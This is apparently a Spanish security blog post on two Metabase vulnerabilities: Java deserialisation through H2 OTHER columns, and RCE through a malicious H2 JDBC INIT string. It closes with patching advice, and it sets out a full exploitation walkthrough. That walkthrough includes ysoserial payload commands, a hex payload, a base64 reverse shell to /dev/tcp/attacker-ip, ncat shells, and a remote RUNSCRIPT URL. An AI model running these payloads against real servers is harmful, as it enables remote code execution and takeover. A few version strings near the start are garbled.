
Blog sobre CVE-2026-59827, deserialización insegura de salida de consultas H2
GHSA-w95f-x9v9-wv36 | CVSS 9.9 Crítico | CWE-502: Deserialización de datos no confiables
CVE-2026-59827 es una vulnerabilidad crítica de ejecución remota de código en Metabase, la popular plataforma de inteligencia empresarial y análisis de datos de código abierto. El fallo surge de cómo Metabase maneja los resultados de consultas devueltos por una conexión a la base de datos H2. Cuando una consulta SQL nativa contra una fuente H2 devuelve una columna tipificada como OTHER, Metabase deserializa los bytes brutos de esa columna en un objeto Java sin realizar ninguna validación. Por lo tanto, un usuario autenticado que pueda ejecutar consultas nativas puede introducir una carga útil serializada maliciosa en el conjunto de resultados y desencadenar la ejecución de código arbitrario en el servidor que aloja Metabase.
A la vulnerabilidad se le asignó una puntuación CVSS de 9.9, lo que refleja las condiciones previas mínimas requeridas y la ejecución completa de código en el lado del servidor que resulta de una explotación exitosa.
Metabase distribuye dos ediciones paralelas a partir del mismo ciclo de lanzamiento. La edición de código abierto utiliza números de versión con el prefijo , por ejemplo, . La edición empresarial (comercial) utiliza números de versión con el prefijo , por ejemplo, . Ambas ediciones comparten el mismo código base subyacente y se lanzan juntas, por lo que una vulnerabilidad que afecta a afecta igualmente a . A lo largo de este informe, los números de versión se escriben usando el prefijo empresarial , pero cada versión afectada se corresponde directamente con su contraparte de código abierto reemplazando el inicial por .
0v0.61.11v1.61.1v1.61.0v0.61.01.xx0.xx10Tanto CVE-2026-59826 como CVE-2026-59827 se divulgaron juntos en julio de 2026. Comparten rangos de versiones superpuestos pero tienen diferentes puntos de parche.
Las versiones empresariales vulnerables son 1.58.0 a 1.58.14, 1.59.0 a 1.59.11, 1.60.0 a 1.60.6.2 y 1.61.0 a 1.61.1.3. Las versiones de código abierto correspondientes son 0.58.0 a 0.58.14, 0.59.0 a 0.59.11, 0.60.0 a 0.60.6.2 y 0.61.0 a 0.61.1.3.
Se emitió un parche interno por primera vez como 1.61.1.4 (empresarial) y 0.61.1.4 (código abierto). La primera versión corregida disponible públicamente en la línea 1.61 es 1.61.2 (v1.61.2.x / v0.61.2.x). Las instancias de Metabase Cloud fueron parcheadas automáticamente por el proveedor.
Las versiones empresariales vulnerables son 1.55.0 a 1.58.15.0, 1.59.0 a 1.59.11, 1.60.0 a 1.60.6.2 y 1.61.0 hasta toda la línea 1.61.1.x. La primera versión pública completamente parcheada es 1.61.2 (v1.61.2.x / v0.61.2.x). El alcance de CVE-2026-59826 es más amplio, llegando hasta la línea de versiones 1.55, lo que refleja la presencia más prolongada de la ruta de código de creación de base de datos insuficientemente validada que explota.
El mecanismo de serialización de Java permite que un objeto en memoria se convierta en un flujo plano de bytes, se almacene o transmita, y luego se reconstruya llamando a ObjectInputStream.readObject(). La propiedad crítica de este mecanismo es que la reconstrucción ejecuta código. Los constructores de clase, las sobrescrituras de readObject y los finalizadores se ejecutan durante la deserialización. Si los bytes que se leen provienen de una fuente no confiable, un atacante puede manipularlos para desencadenar llamadas a métodos arbitrarios a través de una secuencia de clases legítimas existentes ya cargadas en la JVM. Estas secuencias se conocen como cadenas de gadgets.
Las cadenas de gadgets no requieren introducir ningún código nuevo en la aplicación. Explotan el cableado de clases de bibliotecas existentes cuyos métodos normales, cuando se llaman en el orden correcto durante la deserialización, eventualmente alcanzan un sumidero como Runtime.exec(). Herramientas como ysoserial existen específicamente para generar estas cargas útiles para bibliotecas ampliamente implementadas como Apache Commons Collections, Spring Framework y otras.
H2 es una base de datos relacional integrada puramente en Java. Define un tipo de columna SQL especial llamado OTHER que actúa como un paso directo para objetos Java arbitrarios. Cuando H2 almacena un valor en una columna OTHER, escribe los bytes producidos por ObjectOutputStream de Java. Cuando lee el valor de vuelta, llama a ObjectInputStream.readObject() para reconstruir el objeto. Los bytes serializados brutos también se pueden proporcionar directamente en una consulta usando la sintaxis hexadecimal literal de H2:
SELECT CAST(X'ACED0005...' AS OTHER);
-- or
SELECT X'ACED0005...'::OTHER;
El prefijo ACED seguido de 0005 es el número mágico de flujo de serialización de Java y la versión del protocolo. Cualquier cadena hexadecimal que comience con ACED0005 es un flujo de objetos serializados de Java.
Cuando H2 procesa esta consulta, deserializa los bytes hexadecimales en el lado de la base de datos. El objeto resultante se pasa luego a la aplicación llamante a través del ResultSet JDBC. Si la aplicación inspecciona el valor de la columna — por ejemplo, para formatearlo para mostrarlo — puede desencadenar procesamiento adicional. Esto es exactamente lo que hace Metabase en la ruta de código vulnerable.
Metabase recibe el ResultSet JDBC del controlador H2 e inspecciona los metadatos de las columnas para decidir cómo representar cada valor para el usuario. Cuando encuentra una columna con el tipo JDBC Types.OTHER (también reportado como JAVA_OBJECT), las versiones vulnerables de Metabase intentan deserializar los bytes brutos para producir una representación visualizable. Esta llamada de deserialización, ObjectInputStream.readObject(), se ejecuta sin ningún filtro de lista blanca ni validación de clase.
La secuencia de eventos es:
OTHER que contiene una carga útil serializada manipulada.JAVA_OBJECT en el ResultSet.OTHER y llama a readObject() en los bytes.Runtime.exec() y ejecutando el comando del atacante como el usuario del sistema operativo que ejecuta el proceso de Metabase.Las versiones parcheadas resuelven el problema inspeccionando los metadatos de los resultados JDBC antes de intentar cualquier deserialización. Si una columna está tipificada como JAVA_OBJECT, Metabase ahora la rechaza directamente en lugar de intentar analizarla.
La explotación requiere autenticación. El atacante debe tener una cuenta de Metabase con permiso de ejecución de consultas nativas en una base de datos respaldada por H2. Las cuentas de administrador cumplen esto por defecto. Las cuentas de usuario normales también pueden cumplir este requisito si un administrador les ha otorgado el permiso de datos de consultas nativas para la base de datos relevante.
Metabase eliminó el soporte para agregar H2 como una nueva conexión de almacén de datos en la versión 0.46.6.4, lanzada en 2023. Intentar registrar una nueva conexión H2 a través de la interfaz de administración devuelve el error "H2 no es compatible como almacén de datos". Esta eliminación fue una respuesta a vulnerabilidades anteriores relacionadas con H2 y tenía la intención de eliminar el riesgo de conectarse a instancias H2 controladas por atacantes.
Sin embargo, la eliminación de H2 de la interfaz de conexión de almacén de datos no es lo mismo que la eliminación de H2 de Metabase. Dos bases de datos H2 permanecen presentes en cada instalación predeterminada de Metabase.
La primera es la base de datos de la aplicación. Cuando Metabase no está configurado para usar una base de datos externa como PostgreSQL o MySQL, almacena sus propios metadatos — preguntas, paneles, cuentas de usuario y configuraciones — en un archivo H2 en /metabase-data/metabase.db.mv.db. Esta base de datos no se puede consultar directamente a través de la interfaz de Metabase.
La segunda, y más directamente explotable, es la base de datos de muestra. Durante la configuración inicial, Metabase crea una base de datos H2 previamente poblada con datos de ejemplo y la pone a disposición como la conexión "Base de datos de muestra". Esta conexión está presente por defecto en cada instancia de Metabase y es la principal superficie de ataque para CVE-2026-59827. Es una conexión H2 activa en la que los usuarios pueden ejecutar consultas SQL nativas, y la cadena de conexión visible en el panel de administración apunta a file:/plugins/sample-database.db.
La base de datos de muestra impone acceso de solo lectura para todos los usuarios, incluidos los administradores. La página de configuración de bases de datos de Metabase en http://localhost:3000/admin/databases permite otorgar acceso de escritura en las bases de datos conectadas, pero el interruptor no está disponible para la base de datos de muestra. Esto significa que las declaraciones del Lenguaje de Manipulación de Datos como CREATE, UPDATE y DELETE no se pueden ejecutar contra la base de datos de muestra a través de medios normales.

Esta restricción es importante porque cierra ciertas rutas de ataque alternativas. Por ejemplo, el motor H2 admite una declaración CREATE ALIAS que puede definir una función Java y llamarla:
CREATE ALIAS REVEXEC AS $$ String shellexec(String cmd) throws java.io.IOException {
java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A");
return s.hasNext() ? s.next() : "";
} $$;
Debido a que el acceso de escritura está bloqueado en la base de datos de muestra, esta ruta DDL no está disponible. La ruta de deserialización a través de SELECT CAST(X'...' AS OTHER) es el vector de explotación viable precisamente porque requiere solo una declaración SELECT, que está permitida para todos los usuarios.
Para probar esta vulnerabilidad en un entorno de laboratorio controlado, ejecute una versión de Metabase en el rango afectado:
docker run -d -p 3000:3000 \
--name metabase-vulnerable \
-v metabase-data:/metabase-data \
metabase/metabase:v0.61.1
Metabase se iniciará en http://localhost:3000, creará su base de datos de aplicación H2 en /metabase-data/metabase.db.mv.db y aprovisionará automáticamente la base de datos de muestra. Complete la configuración inicial de la cuenta para obtener una sesión autenticada. Después de la configuración, navegue al editor SQL de la Base de datos de muestra. Este es el entorno de ejecución para el exploit.
Antes de intentar la ejecución de comandos, confirme que la ruta de deserialización es accesible. La cadena de gadgets URLDNS de ysoserial genera una carga útil que, al deserializarse, realiza una consulta DNS saliente a un nombre de host especificado. No ejecuta ningún comando del sistema, lo que la convierte en una sonda segura para establecer que readObject() realmente se está llamando.
Generar la carga útil:
/usr/lib/jvm/java-11-openjdk-amd64/bin/java -jar ysoserial-all.jar URLDNS 'http://your-oast-hostname.oast.fun' | xxd -p | tr -d '\n'
Esto produce una cadena hexadecimal que comienza con aced0005. Un ejemplo de la salida hexadecimal de una carga útil capturada:
aced0005737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c6478703f4000000000000c770800000010000000017372000c6a6176612e6e65742e55524c962537361afce47203000749000868617368436f6465490004706f72744c0009617574686f726974797400124c6a6176612f6c616e672f537472696e673b4c000466696c6571007e00034c0004686f737471007e00034c000870726f746f636f6c71007e00034c000372656671007e00037870ffffffffffffffff74002a6b746a6367677278656c69647461647065687464326a696537356d73637075646e2e6f6173742e66756e74000071007e0005740004687474707078740031687474703a2f2f6b746a6367677278656c69647461647065687464326a696537356d73637075646e2e6f6173742e66756e78
Abra el editor SQL en Metabase contra la Base de datos de muestra y ejecute lo siguiente, sustituyendo la cadena hexadecimal generada para su nombre de host OAST:
SELECT X'aced0005737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c6478703f4000000000000c770800000010000000017372000c6a6176612e6e65742e55524c962537361afce47203000749000868617368436f6465490004706f72744c0009617574686f726974797400124c6a6176612f6c616e672f537472696e673b4c000466696c6571007e00034c0004686f737471007e00034c000870726f746f636f6c71007e00034c000372656671007e00037870ffffffffffffffff74002a6b746a6367677278656c69647461647065687464326a696537356d73637075646e2e6f6173742e66756e74000071007e0005740004687474707078740031687474703a2f2f6b746a6367677278656c69647461647065687464326a696537356d73637075646e2e6f6173742e66756e78'::OTHER;
Monitoree su oyente OAST. Recibir una consulta DNS desde la dirección IP del servidor Metabase confirma que se llamó a readObject() y que la deserialización está ocurriendo en la columna OTHER.


Qué cadena de gadgets logra la ejecución de código depende de qué bibliotecas Java están presentes en el classpath del servidor Metabase. Pruebe las siguientes cadenas en secuencia:
java -jar ysoserial-all.jar CommonsCollections1 'id' > payload.bin
java -jar ysoserial-all.jar CommonsCollections2 'id' > payload.bin
java -jar ysoserial-all.jar CommonsCollections3 'id' > payload.bin
java -jar ysoserial-all.jar Clojure 'id' > payload.bin
Convierta cada carga útil binaria al formato hexadecimal requerido por la consulta SQL:
xxd -p payload.bin | tr -d '\n' > payload.hex
Luego envíe usando el mismo patrón SELECT X'...'::OTHER en el editor SQL de Metabase y observe si la salida del comando se refleja en algún mensaje de error o respuesta.
Una vez identificada una cadena de gadgets funcional, reemplace el comando de prueba con la carga útil deseada. Para un shell inverso, codifique el comando en base64 para evitar problemas de citas en el shell:
echo 'bash -i >& /dev/tcp/attacker-ip/4444 0>&1' | base64
Genere la carga útil de ysoserial con el patrón de ejecución decodificado en base64:
java -jar ysoserial-all.jar CommonsCollections1 \
'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC9hdHRhY2tlci1pcC80NDQ0IDA+JjEK}|{base64,-d}|{bash,-i}' \
> payload.bin
xxd -p payload.bin | tr -d '\n' > payload.hex
Configure el oyente antes de enviar la consulta:
nc -lvnp 4444
Luego pegue el hexadecimal en el editor SQL:
SELECT X'<pegar cadena hex aquí>'::OTHER;
Cuando Metabase procese el conjunto de resultados y encuentre la columna OTHER, readObject() se dispara, la cadena de gadgets se ejecuta y el shell inverso se conecta de vuelta.
Si aparece InvalidClassException, la cadena de gadgets depende de una versión de biblioteca que no coincide con la presente en el servidor. Pruebe con una cadena diferente.
Si no sucede nada después de enviar la consulta, la instancia ya está parcheada, los filtros de serialización JEP 290 están activos y bloquean la cadena de gadgets, o el tipo de columna OTHER no está siendo procesado por la ruta de código vulnerable.
Si aparece ClassNotFoundException, la biblioteca requerida está ausente del classpath por completo. Pruebe con una cadena diferente.
En la salida de la interfaz de usuario, solo obtendrá el error We're experiencing server issue:

CVE-2026-59826 (GHSA-r6x2-rchx-q9g9) es una vulnerabilidad relacionada divulgada al mismo tiempo. Mientras que CVE-2026-59827 explota la deserialización a través de los resultados de las consultas, CVE-2026-59826 apunta a una ruta de código separada: el endpoint de registro de bases de datos. Un administrador autenticado puede enviar una URL de conexión JDBC H2 manipulada que contenga un parámetro INIT que se ejecuta cuando se establece la conexión. Debido a que la validación aplicada al campo INIT era insuficiente en ciertas rutas de código de creación y edición de bases de datos, un atacante con acceso de administrador puede lograr RCE a través de la cadena de conexión en lugar de a través de una consulta.
Una URL de conexión INIT maliciosa toma una forma como:
jdbc:h2:mem:tempdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM "http://attacker-ip/rce.sql"
El archivo SQL servido por el atacante puede definir y llamar a un alias Java que ejecute comandos del shell:
CREATE ALIAS SHELLEXEC AS $$
String shellexec(String cmd) throws java.io.IOException {
String[] command = {"bash", "-c", cmd};
java.util.Scanner s = new java.util.Scanner(
Runtime.getRuntime().exec(command).getInputStream()
).useDelimiter("\\A");
return s.hasNext() ? s.next() : "";
}
$$;
CALL SHELLEXEC('ncat -e /bin/bash attacker-ip 5555')
Alternativamente, la cadena INIT puede incrustar el disparador directamente sin recuperar un archivo remoto:
jdbc:h2:file:/tmp/tempdb;TRACE_LEVEL_SYSTEM_OUT=0\;
CREATE TRIGGER rce_trigger BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS
$$
java.lang.Runtime.getRuntime().exec('bash -c {echo,<base64_payload>}|{base64,-d}|{bash,-i}')
$$--=x
Tanto CVE-2026-59826 como CVE-2026-59827 comparten la misma causa raíz: un endurecimiento insuficiente en torno a las características de ejecución del lado del servidor de H2, pero difieren en las rutas de código específicas explotadas y el nivel de privilegio requerido.
Actualice Metabase a una de las siguientes versiones parcheadas: 1.58.15, 1.59.12, 1.60.6.3 o 1.61.1.4. Estas versiones modifican la canalización de procesamiento de resultados para inspeccionar los metadatos de las columnas JDBC y rechazar el procesamiento de cualquier columna reportada como tipo JAVA_OBJECT o OTHER, evitando que ocurra la llamada de deserialización.
Si no es posible una actualización inmediata, restrinja los permisos de consultas nativas. Elimine el permiso de ejecución de consultas nativas de todos los usuarios no administrativos para las bases de datos respaldadas por H2, incluida la base de datos de muestra. Esto reduce la superficie de ataque solo a cuentas de nivel administrador. Por separado, considere si la base de datos de muestra es necesaria; deshabilitarla o eliminarla elimina por completo la superficie de ataque H2 para este CVE.
Para instancias autoalojadas que usan H2 como base de datos de aplicación, la propia documentación de Metabase recomienda migrar a PostgreSQL o MySQL como un backend de base de datos de aplicación más robusto y seguro.